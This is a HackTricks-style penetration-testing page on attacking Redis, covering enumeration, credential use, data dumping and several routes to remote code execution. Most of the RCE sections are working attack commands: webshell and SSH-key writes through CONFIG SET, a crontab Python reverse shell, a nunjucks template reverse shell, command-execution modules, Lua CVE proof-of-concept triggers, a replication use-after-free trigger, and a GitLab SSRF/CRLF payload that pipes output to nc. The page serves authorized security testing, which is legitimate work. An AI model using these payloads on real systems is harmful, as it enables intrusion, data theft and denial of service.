6379-pentesting-redis.md (29112B)
1 --- 2 title: "6379 - Pentesting Redis" 3 section: "Network Services" 4 sectionSlug: "network-services-pentesting" 5 sourcePath: "src/network-services-pentesting/6379-pentesting-redis.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/network-services-pentesting/6379-pentesting-redis.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # 6379 - Pentesting Redis 14 15 ## Basic Information 16 17 Redis is an open-source, in-memory **data-structure store** used as a **database, cache, streaming engine, and message broker**.<sup>[[20]](#references)</sup> 18 19 Redis uses the RESP protocol over TCP and can also be configured with **TLS**.<sup>[[21]](#references)</sup><sup>[[22]](#references)</sup> 20 21 **Default port:** 6379 22 23 ```text 24 PORT STATE SERVICE VERSION 25 6379/tcp open redis Redis key-value store 4.0.9 26 ``` 27 28 ## Automatic Enumeration 29 30 Some automated tools that can help obtain information from a Redis instance: 31 32 ```bash 33 nmap --script redis-info -sV -p 6379 <IP> 34 msf> use auxiliary/scanner/redis/redis_server 35 ``` 36 37 ## Manual Enumeration 38 39 ### Banner 40 41 RESP is a readable request-response protocol, so commands can be sent over a raw socket and the returned values inspected directly. Redis can also run over **TLS**, which is common in managed deployments.<sup>[[21]](#references)</sup><sup>[[22]](#references)</sup> 42 43 In a regular Redis instance you can just connect using `nc` or you could also use `redis-cli`: 44 45 ```bash 46 nc -vn 10.10.10.10 6379 47 redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools 48 ``` 49 50 The **first command** you could try is **`info`**. It **may return output with information** of the Redis instance **or something** like the following is returned: 51 52 ```text 53 -NOAUTH Authentication required. 54 ``` 55 56 In this last case, this means that **you need valid credentials** to access the Redis instance. 57 58 ### Redis Authentication 59 60 An unmodified Redis configuration exposes a default user with no password, but protected mode and network binding are intended to prevent unsafe remote access. Redis can be configured for either a password on the default user or username-and-password ACL authentication.<sup>[[23]](#references)</sup>\ 61 It is possible to **set a password** for the **default** user in _**redis.conf**_ with the parameter `requirepass` **or temporarily** until the service restarts by connecting to it and running: `config set requirepass p@ss$12E45`.\ 62 In **Redis 6+**, extra users are usually created with **ACLs** (`ACL SETUSER ...`) or loaded from an **aclfile**. The parameter **`masteruser` is for replica-to-master authentication**, not for normal client logins.<sup>[[12]](#references)</sup> 63 64 > [!TIP] 65 > If only password is configured the username used is usually "**default**".\ 66 > Also, note that there is **no way to find externally** if Redis was configured with only password or username+password until you test valid credentials. 67 68 In cases like this one you will **need to find valid credentials** to interact with Redis so you could try to [**brute-force**](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-hacking/brute-force.md#redis) it.\ 69 **In case you found valid credentials you need to authenticate the session** after establishing the connection with one of the following commands: 70 71 ```bash 72 AUTH <password> # Password-only / default user 73 AUTH <username> <password> # ACL user 74 HELLO 3 AUTH <username> <password> # Authenticate and switch to RESP3 in one step 75 ``` 76 77 **Valid credentials** will be responded with: `+OK`. If you get **`NOPERM`** after authenticating, the creds are valid but the ACL user is restricted. 78 79 ### **Authenticated enumeration** 80 81 If the Redis server permits **anonymous connections** or if you have obtained valid credentials, you can initiate the enumeration process for the service using the following **commands**: 82 83 ```bash 84 INFO 85 [ ... Redis response with info ... ] 86 client list 87 [ ... Redis response with connected clients ... ] 88 CONFIG GET * 89 [ ... Get config ... ] 90 ``` 91 92 ### ACL & capability reconnaissance (Redis 6+) 93 94 In **modern Redis** the most important question after login is usually **what your current user can actually do**. Many real environments expose a **low-privilege ACL user** that can read data but **cannot** run `CONFIG`, `MODULE`, `EVAL`, `FUNCTION`, or `REPLICAOF`. Check that before investing time in a full RCE chain:<sup>[[12]](#references)</sup> 95 96 ```bash 97 ACL WHOAMI 98 ACL USERS 99 ACL GETUSER <USER> 100 ACL CAT @dangerous 101 COMMAND INFO CONFIG EVAL FUNCTION FCALL REPLICAOF MODULE 102 MODULE LIST 103 FUNCTION LIST 104 FUNCTION LIST WITHCODE 105 ``` 106 107 Useful things to infer from that output: 108 109 - **`ACL WHOAMI`** tells you which user the current session actually authenticated as. 110 - **`ACL GETUSER`** shows command categories, key patterns, pub/sub patterns and, in Redis 7+, **selectors** that may restrict commands to specific key patterns. 111 - **`COMMAND INFO`** is useful when `ACL GETUSER` is denied: it still helps you see whether a command exists, was renamed, or was completely removed. 112 - **`FUNCTION LIST WITHCODE`** may leak **persisted Lua libraries** that contain business logic, secrets, or attacker-added persistence. 113 114 The official command reference and the LZone cheat sheet contain additional Redis commands.<sup>[[21]](#references)</sup><sup>[[31]](#references)</sup> 115 116 Note that the **Redis commands of an instance can be renamed** or removed in the _redis.conf_ file. For example this line will remove the command FLUSHDB: 117 118 ```text 119 rename-command FLUSHDB "" 120 ``` 121 122 Review Redis's security guidance before exposing the service outside a trusted management network.<sup>[[23]](#references)</sup> 123 124 You can also **monitor in real time the Redis commands** executed with the command **`monitor`** or get the top **25 slowest queries** with **`slowlog get 25`** 125 126 The LZone cheat sheet provides additional enumeration examples.<sup>[[31]](#references)</sup> 127 128 ### **Dumping Database** 129 130 Inside Redis the **databases are numbers starting from 0**. You can find if anyone is used in the output of the command `info` inside the "Keyspace" chunk: 131 132  133 134 Or you can just get all the **keyspaces** (databases) with: 135 136 ```text 137 INFO keyspace 138 ``` 139 140 In that example the **database 0 and 1** are being used. **Database 0 contains 4 keys and database 1 contains 1**. By default Redis will use database 0. In order to dump for example database 1 you need to do: 141 142 ```bash 143 SELECT 1 144 [ ... Indicate the database ... ] 145 KEYS * 146 [ ... Get Keys ... ] 147 GET <KEY> 148 [ ... Get Key ... ] 149 ``` 150 151 In case you get the following error `-WRONGTYPE Operation against a key holding the wrong kind of value` while running `GET <KEY>` it's because the key may be something else than a string or an integer and requires a special operator to display it. 152 153 To know the type of the key, use the `TYPE` command, example below for list and hash keys. 154 155 ```bash 156 TYPE <KEY> 157 [ ... Type of the Key ... ] 158 LRANGE <KEY> 0 -1 159 [ ... Get list items ... ] 160 HGET <KEY> <FIELD> 161 [ ... Get hash item ... ] 162 163 # If the type used is weird you can always do: 164 DUMP <key> 165 ``` 166 167 You can also dump data with the npm **redis-dump** package or the Python **redis-utils** package.<sup>[[24]](#references)</sup><sup>[[25]](#references)</sup> 168 169 ## Redis RCE 170 171 ### Interactive Shell 172 173 **redis-rogue-server** automates a replication/module-loading chain to obtain an interactive or reverse shell on compatible Redis deployments (the project documents Redis 4.x/5.x targets).<sup>[[26]](#references)</sup> 174 175 ```text 176 ./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ATTACKER_IP> 177 ``` 178 179 ### Modern hardening caveat (Redis 7+) 180 181 The classic **`CONFIG SET dir/dbfilename` + `SAVE`** tricks and **`MODULE LOAD`** chains still work in **older Redis** and are common in labs/CTFs, but **newer Redis ships with extra hardening**:<sup>[[13]](#references)</sup> 182 183 - Configs that control where Redis writes files (for example **`dir`** and **`dbfilename`**) are **protected/immutable by default**. 184 - **`MODULE LOAD`** is **disabled by default** unless **`enable-module-command`** was explicitly enabled in `redis.conf`. 185 - These protections may also be set to **`local`**, meaning the primitive is only reachable from **loopback / Unix socket** clients. 186 187 So, after authentication, **test the exact primitive you need first**: 188 189 ```bash 190 CONFIG GET dir dbfilename appendonly 191 CONFIG SET dir /tmp 192 MODULE LIST 193 MODULE LOAD /tmp/mymodule.so 194 ``` 195 196 If direct remote access cannot use those primitives but an **SSRF can talk to `127.0.0.1:6379`** (or you can reach a local Unix socket), a **`local`-only** policy may still become exploitable from that pivot. 197 198 ### PHP Webshell 199 200 Info from [**here**](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html). You must know the **path** of the **Web site folder**:<sup>[[14]](#references)</sup> 201 202 ```text 203 root@Urahara:~# redis-cli -h 10.85.0.52 204 10.85.0.52:6379> config set dir /usr/share/nginx/html 205 OK 206 10.85.0.52:6379> config set dbfilename redis.php 207 OK 208 10.85.0.52:6379> set test "<?php phpinfo(); ?>" 209 OK 210 10.85.0.52:6379> save 211 OK 212 ``` 213 214 If the web shell fails because the generated database file contains incompatible bytes, back up the database, test with an empty database, and restore the data afterward. 215 216 ### Template Webshell 217 218 Like in the previous section you could also overwrite some html template file that is going to be interpreted by a template engine and obtain a shell. 219 220 For example, following [**this writeup**](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/), you can see that the attacker injected a **rev shell in an html** interpreted by the **nunjucks template engine:**<sup>[[15]](#references)</sup> 221 222 ```javascript 223 {{ ({}).constructor.constructor( 224 "var net = global.process.mainModule.require('net'), 225 cp = global.process.mainModule.require('child_process'), 226 sh = cp.spawn('sh', []); 227 var client = new net.Socket(); 228 client.connect(1234, 'my-server.com', function(){ 229 client.pipe(sh.stdin); 230 sh.stdout.pipe(client); 231 sh.stderr.pipe(client); 232 });" 233 )()}} 234 ``` 235 236 > [!WARNING] 237 > Several template engines cache templates in **memory**, so overwriting a file may not trigger execution. Automatic reload may be enabled in development environments; otherwise the service must reload or restart before the overwritten template is used. In an explicitly authorized test, forcing that restart may demonstrate the chain, but it is disruptive and may cause a denial of service; do not do so without specific permission.<sup>[[15]](#references)</sup> 238 239 ### SSH 240 241 Example [from this archived guide](https://web.archive.org/web/20240000000000id_/https://blog.adithyanak.com/oscp-preparation-guide/enumeration)<sup>[[16]](#references)</sup> 242 243 Please be aware **`config get dir`** result can be changed after other manually exploit commands. Suggest to run it first right after login into Redis. In the output of **`config get dir`** you could find the **home** of the **redis user** (usually _/var/lib/redis_ or _/home/redis/.ssh_), and knowing this you know where you can write the `authorized_keys` file to access via ssh **with the user redis**. If you know the home of other valid user where you have writable permissions you can also abuse it: 244 245 1. Generate a ssh public-private key pair on your pc: **`ssh-keygen -t rsa`** 246 2. Write the public key to a file : **`(echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt`** 247 3. Import the file into redis : **`cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key`** 248 4. Save the public key to the **authorized_keys** file on redis server: 249 250 ``` 251 root@Urahara:~# redis-cli -h 10.85.0.52 252 10.85.0.52:6379> config set dir /var/lib/redis/.ssh 253 OK 254 10.85.0.52:6379> config set dbfilename "authorized_keys" 255 OK 256 10.85.0.52:6379> save 257 OK 258 ``` 259 260 5. Finally, you can **ssh** to the **redis server** with private key : **ssh -i id_rsa redis@10.85.0.52** 261 262 The Redis-Server-Exploit project automates this historical technique.<sup>[[27]](#references)</sup> 263 264 Additionally, system users can be tested by attempting `CONFIG SET dir /home/USER`; if the Redis process can write there, an `authorized_keys` file can be targeted. **redis-rce-ssh** automates username testing and key placement.<sup>[[28]](#references)</sup> 265 266 ### Crontab 267 268 ```text 269 root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1 270 OK 271 root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/ 272 OK 273 root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root 274 OK 275 root@Urahara:~# redis-cli -h 10.85.0.52 save 276 OK 277 ``` 278 279 The last example is for Ubuntu, for **Centos**, the above command should be: `redis-cli -h 10.85.0.52 config set dir /var/spool/cron/` 280 281 The same arbitrary-file-write primitive has also been abused to install cryptocurrency miners.<sup>[[29]](#references)</sup> 282 283 ### Load Redis Module 284 285 1. Following the instructions from [https://github.com/n0b0dyCN/RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) you can **compile a redis module to execute arbitrary commands**.<sup>[[17]](#references)</sup> 286 2. Then you need some way to **upload the compiled** module 287 3. **Load the uploaded module** at runtime with `MODULE LOAD /path/to/mymodule.so` 288 4. **List loaded modules** to check it was correctly loaded: `MODULE LIST` 289 5. **Execute** **commands**: 290 291 ``` 292 127.0.0.1:6379> system.exec "id" 293 "uid=0(root) gid=0(root) groups=0(root)\n" 294 127.0.0.1:6379> system.exec "whoami" 295 "root\n" 296 127.0.0.1:6379> system.rev 127.0.0.1 9999 297 ``` 298 299 6. Unload the module whenever you want: `MODULE UNLOAD mymodule` 300 301 ### LUA sandbox bypass 302 303 Redis uses **`EVAL`** to execute Lua code in a sandbox. Historical releases exposed `dofile`, but supported Redis releases restrict scripts to specific Lua packages and deny filesystem, network, and other system calls outside the scripting API. A different sandbox escape or memory-corruption vulnerability may still lead to native command execution; the historical research also describes denial-of-service primitives.<sup>[[18]](#references)</sup><sup>[[32]](#references)</sup> 304 305 An important packaging-specific Lua escape is: 306 307 - **CVE-2022-0543**, which affected Debian's Redis package because the Lua library remained loadable; a public PoC is available in reference 30.<sup>[[30]](#references)</sup> 308 309 #### Redis Lua Scripting Engine: Sandbox Escapes & Memory Corruption (CVE-2025-49844/46817/46818) 310 311 Recent Redis releases fixed multiple issues in the embedded Lua engine that allow sandbox escape, memory corruption, and cross-user code execution.<sup>[[1]](#references)</sup><sup>[[5]](#references)</sup> These techniques apply when: 312 - Attacker can authenticate to Redis and Lua is enabled (EVAL/EVALSHA or FUNCTION are usable) 313 - Redis version is older than 8.2.2, 8.0.4, 7.4.6, 7.2.11, or 6.2.20 314 315 Tip: If you are new to Lua sandboxing tricks, check this page for general techniques: 316 317 [Readme](https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/generic-methodologies-and-resources/lua/bypass-lua-sandboxes/README.md) 318 319 **Patch-level context:** 320 - Fixed in: 8.2.2, 8.0.4, 7.4.6, 7.2.11, 6.2.20 321 - Affected when Lua scripting is enabled and the above versions are not applied 322 323 **CVE-2025-49844 — GC-timed Use-After-Free in Lua parser (`lparser.c: luaY_parser`)** 324 - Idea: Force garbage collection while the parser still references a freshly-inserted TString. When GC reclaims it, the parser uses a freed pointer (UAF) → crash/DoS and potential native code execution outside the Lua sandbox.<sup>[[2]](#references)</sup><sup>[[5]](#references)</sup><sup>[[6]](#references)</sup> 325 - Trigger strategy: 326 1) Create memory pressure with huge strings to encourage GC activity 327 2) Explicitly run GC while a large source chunk is being compiled 328 3) Compile a very large Lua script in a loop until GC aligns with parsing 329 330 Minimal EVAL harness to reproduce crashes 331 ```bash 332 # Auth as needed (-a/--user), then run EVAL with 0 keys 333 redis-cli -h <host> -p 6379 -a <password> EVAL "\ 334 local a = string.rep('asdf', 65536); \ 335 collectgarbage('collect'); \ 336 local src = string.rep('x', 1024 * 1024); \ 337 local f = loadstring(src); \ 338 return 'done'" 0 339 ``` 340 341 Notes: 342 - Multiple attempts may be required to align GC with luaY_parser. A crash indicates the UAF was hit. 343 - From exploitation to RCE requires memory grooming and native code pivoting beyond the Redis Lua sandbox. 344 345 **CVE-2025-46817 — Integer overflow in unpack (`lbaselib.c: luaB_unpack`)** 346 - Root cause: The count `n = e - i + 1` is computed without unsigned casts, so extreme indices wrap, making Lua attempt to unpack far more elements than exist → stack corruption and memory exhaustion.<sup>[[3]](#references)</sup><sup>[[7]](#references)</sup> 347 - PoC (DoS/mem exhaustion): 348 ```bash 349 redis-cli -h <host> -p 6379 -a <password> EVAL "return unpack({'a','b','c'}, -1, 2147483647)" 0 350 ``` 351 - Expect the server to try returning an enormous number of values and eventually crash or OOM. 352 353 **CVE-2025-46818 — Cross-user privilege escalation via basic type metatables** 354 - Root cause: On engine initialization, metatables for basic types (e.g., strings, booleans) weren’t set read-only. Any authenticated user can poison them to inject methods other users might call later.<sup>[[4]](#references)</sup><sup>[[8]](#references)</sup> 355 - Example (string metatable poisoning): 356 ```bash 357 # Inject a method on strings and then exercise it 358 redis-cli -h <host> -p 6379 -a <password> EVAL "\ 359 getmetatable('').__index = function(_, key) \ 360 if key == 'testfunc' then \ 361 return function() return 'testfuncoutput' end \ 362 end \ 363 end; \ 364 return ('teststring').testfunc()" 0 365 # → Returns: testfuncoutput 366 ``` 367 - Impact: Cross-user code execution inside the Lua sandbox using the victim’s Redis permissions. Useful for lateral movement/priv-esc within Redis ACL contexts. 368 369 370 #### Redis Functions + Replication Reentrancy UAF (DarkReplica / CVE-2026-23631) 371 372 A different Redis Lua attack surface exists in the **functions engine** (`FUNCTION LOAD` / `FCALL`), not only in classic `EVAL`. In vulnerable releases, a **long-running function** can time out, enter the slow-script path, and temporarily call `processEventsWhileBlocked()`. Redis blocks most normal client commands during this state, but **replication I/O from the master is still processed**.<sup>[[9]](#references)</sup> 373 374 If you can authenticate, run Redis functions, and repoint the instance to an **attacker-controlled master**, a malicious `FULLRESYNC` can free the active functions Lua engine **while execution later resumes inside it**: 375 376 - Make the target a replica with `SLAVEOF` / `REPLICAOF` 377 - Disable `replica-read-only` / `slave-read-only` if needed so `FCALL` still works 378 - Register and run a long-lived function (for example a coroutine that reaches `while 1 do end`) 379 - Wait for the default **5 second** slow-script timeout 380 - From the malicious master, send a `FULLRESYNC` carrying `RDB_OPCODE_FUNCTION2` records 381 - During RDB load, Redis clears the current functions context and frees the old Lua engine 382 - Control returns to the still-running function/coroutine with a **freed `lua_State`** (UAF) 383 384 Minimal trigger shape:<sup>[[10]](#references)</sup> 385 386 ```bash 387 redis-cli -h <target> -a <pass> FUNCTION LOAD "#!lua name=mylib\nredis.register_function('hoax', function() while 1 do end end)" 388 redis-cli -h <target> -a <pass> REPLICAOF <attacker_ip> <attacker_port> 389 redis-cli -h <target> -a <pass> CONFIG SET replica-read-only no 390 redis-cli -h <target> -a <pass> FCALL hoax 0 391 # After the timeout, answer as the master and force FULLRESYNC 392 ``` 393 394 **Why this is interesting:** the post-free allocations are also attacker-controlled. `RDB_OPCODE_FUNCTION2` records are executed immediately by `rdbFunctionLoad()`, so malicious function libraries can act as a **precise post-free Lua heap spray** right after the old engine is destroyed. 395 396 **Exploitation notes:** 397 - `tostring()` on non-string/non-number Lua values leaks heap pointers (tables, functions, coroutines). 398 - Coroutines are valuable because each one has its own `lua_State`; a freed coroutine state can stay reclaimable even if the new global engine reuses the old main state. 399 - Fake Lua `Table` objects can turn `Table->array` into an arbitrary `TValue` read/write primitive once the attacker stabilizes execution in a clean coroutine. 400 - A practical RCE pivot is to overwrite `lua_State->l_G->frealloc` (Lua allocator callback) after recovering arbitrary read/write. 401 402 **Version context:** fixed on **May 5, 2026** in `7.2.14`, `7.4.9`, `8.2.6`, `8.4.3`, and `8.6.3`.<sup>[[11]](#references)</sup> This path is **post-auth**, but especially relevant when dangerous admin commands are exposed to weak ACL users. 403 404 **Good telemetry / review points:** 405 - `FUNCTION LOAD`, `FCALL`, `FUNCTION KILL`, `REPLICAOF` / `SLAVEOF`, and `CONFIG SET replica-read-only no` 406 - Slow-script log entries immediately followed by replica synchronization / `FULLRESYNC` 407 - Unexpected function libraries arriving from replication 408 409 ### Primary/Replica Replication 410 411 Redis replication propagates a primary's data to its replicas. If an attacker can issue `REPLICAOF`/`SLAVEOF`, the target can be pointed at an attacker-controlled primary; older module-loading chains use that control to transfer a malicious database or module. The following commands preserve the legacy terminology used by older Redis versions: 412 413 ```text 414 master redis : 10.85.0.51 (Hacker's Server) 415 slave redis : 10.85.0.52 (Target Vulnerability Server) 416 A master-slave connection will be established from the slave redis and the master redis: 417 redis-cli -h 10.85.0.52 -p 6379 418 slaveof 10.85.0.51 6379 419 Then you can login to the master redis to control the slave redis: 420 redis-cli -h 10.85.0.51 -p 6379 421 set mykey hello 422 set mykey2 helloworld 423 ``` 424 425 ## SSRF talking to Redis 426 427 If you can send **clear text** request **to Redis**, you can **communicate with it** as Redis will read line by line the request and just respond with errors to the lines it doesn't understand: 428 429 ```text 430 -ERR wrong number of arguments for 'get' command 431 -ERR unknown command 'Host:' 432 -ERR unknown command 'Accept:' 433 -ERR unknown command 'Accept-Encoding:' 434 -ERR unknown command 'Via:' 435 -ERR unknown command 'Cache-Control:' 436 -ERR unknown command 'Connection:' 437 ``` 438 439 Therefore, if you find a **SSRF vuln** in a website and you can **control** some **headers** (maybe with a CRLF vuln) or **POST parameters**, you will be able to send arbitrary commands to Redis. This is especially useful when the target only enabled dangerous Redis primitives for **local** clients: an SSRF to **`127.0.0.1:6379`** may recover `CONFIG SET`, `MODULE LOAD`, or other actions that are blocked from your direct remote connection. 440 441 ### Example: Gitlab SSRF + CRLF to Shell 442 443 In **Gitlab11.4.7** were discovered a **SSRF** vulnerability and a **CRLF**. The **SSRF** vulnerability was in the **import project from URL functionality** when creating a new project and allowed to access arbitrary IPs in the form \[0:0:0:0:0:ffff:127.0.0.1] (this will access 127.0.0.1), and the **CRLF** vuln was exploited just **adding %0D%0A** characters to the **URL**. 444 445 Therefore, it was possible to **abuse these vulnerabilities to talk to the Redis instance** that **manages queues** from **gitlab** and abuse those queues to **obtain code execution**. The Redis queue abuse payload is: 446 447 ```text 448 multi 449 sadd resque:gitlab:queues system_hook_push 450 lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}" 451 exec 452 ``` 453 454 And the **URL encode** request **abusing SSRF** and **CRLF** to execute a `whoami` and send back the output via `nc` is: 455 456 ```text 457 git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git 458 ``` 459 460 _For some reason (as for the author of_ [_https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/_](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) _where this info was took from) the exploitation worked with the `git` scheme and not with the `http` scheme._<sup>[[19]](#references)</sup> 461 462 ## References 463 464 - [1] [Redis Security Advisory: CVE-2025-49844](https://redis.io/blog/security-advisory-cve-2025-49844/) 465 - [2] [NVD: CVE-2025-49844](https://nvd.nist.gov/vuln/detail/CVE-2025-49844) 466 - [3] [NVD: CVE-2025-46817](https://nvd.nist.gov/vuln/detail/CVE-2025-46817) 467 - [4] [NVD: CVE-2025-46818](https://nvd.nist.gov/vuln/detail/CVE-2025-46818) 468 - [5] [Wiz analysis of Redis RCE (CVE-2025-49844)](https://www.wiz.io/blog/wiz-research-redis-rce-cve-2025-49844) 469 - [6] [PoC: CVE-2025-49844 — Lua parser UAF](https://github.com/dwisiswant0/CVE-2025-49844) 470 - [7] [PoC: CVE-2025-46817 — unpack integer overflow](https://github.com/dwisiswant0/CVE-2025-46817) 471 - [8] [PoC: CVE-2025-46818 — basic-type metatable abuse](https://github.com/dwisiswant0/CVE-2025-46818) 472 - [9] [ZeroDay.Cloud — DarkReplica (CVE-2026-23631): Redis Use-After-Free Leads to Post-Auth RCE](https://www.zeroday.cloud/blog/redis-cve-2026-23631-dark-replica) 473 - [10] [DarkReplica exploit repository](https://github.com/yoyosh/DarkReplica) 474 - [11] [Redis releases (7.2.14 / 7.4.9 and later security fixes)](https://github.com/redis/redis/releases) 475 - [12] [Redis ACL documentation](https://redis.io/docs/latest/operate/oss_and_stack/management/security/acl/) 476 - [13] [Redis configuration file example (`enable-protected-configs` / `enable-module-command`)](https://download.redis.io/redis-stable/redis.conf) 477 - [14] [Redis Hacking Tips (reverse-tcp.xyz, via Wayback Machine)](https://web.archive.org/web/20191201022931/http://reverse-tcp.xyz/pentest/database/2017/02/09/Redis-Hacking-Tips.html) 478 - [15] [Cyber Apocalypse CTF 2022: Red Island Writeup (NETEYE Blog)](https://www.neteye-blog.com/2022/05/cyber-apocalypse-ctf-2022-red-island-writeup/) 479 - [16] [OSCP Preparation Guide - Enumeration (Adithyan AK, archived)](https://web.archive.org/web/20240000000000id_/https://blog.adithyanak.com/oscp-preparation-guide/enumeration) 480 - [17] [RedisModules-ExecuteCommand (GitHub)](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) 481 - [18] [Trying to hack Redis via HTTP requests (agarri.fr)](https://www.agarri.fr/blog/archives/2014/09/11/trying_to_hack_redis_via_http_requests/index.html) 482 - [19] [GitLab 11.4.7 Remote Code Execution - Real World CTF 2018 (LiveOverflow)](https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/) 483 - [20] [Redis documentation: About Redis](https://redis.io/docs/latest/get-started/) 484 - [21] [Redis command reference](https://redis.io/docs/latest/commands/) 485 - [22] [Redis documentation: TLS](https://redis.io/docs/latest/operate/oss_and_stack/management/security/encryption/) 486 - [23] [Redis documentation: Security](https://redis.io/docs/latest/operate/oss_and_stack/management/security/) 487 - [24] [npm: redis-dump](https://www.npmjs.com/package/redis-dump) 488 - [25] [PyPI: redis-utils](https://pypi.org/project/redis-utils/) 489 - [26] [n0b0dyCN/redis-rogue-server](https://github.com/n0b0dyCN/redis-rogue-server) 490 - [27] [Avinash-acid/Redis-Server-Exploit](https://github.com/Avinash-acid/Redis-Server-Exploit) 491 - [28] [captain-woof/redis-rce-ssh](https://github.com/captain-woof/redis-rce-ssh) 492 - [29] [Redis arbitrary-write miner abuse discussion](https://www.v2ex.com/t/286981#reply14) 493 - [30] [aodsec/CVE-2022-0543 PoC](https://github.com/aodsec/CVE-2022-0543) 494 - [31] [LZone Redis Cheat Sheet](https://lzone.de/cheat-sheet/Redis) 495 - [32] [Redis Lua API reference: sandbox context](https://redis.io/docs/latest/develop/interact/programmability/lua-api/#sandbox-context)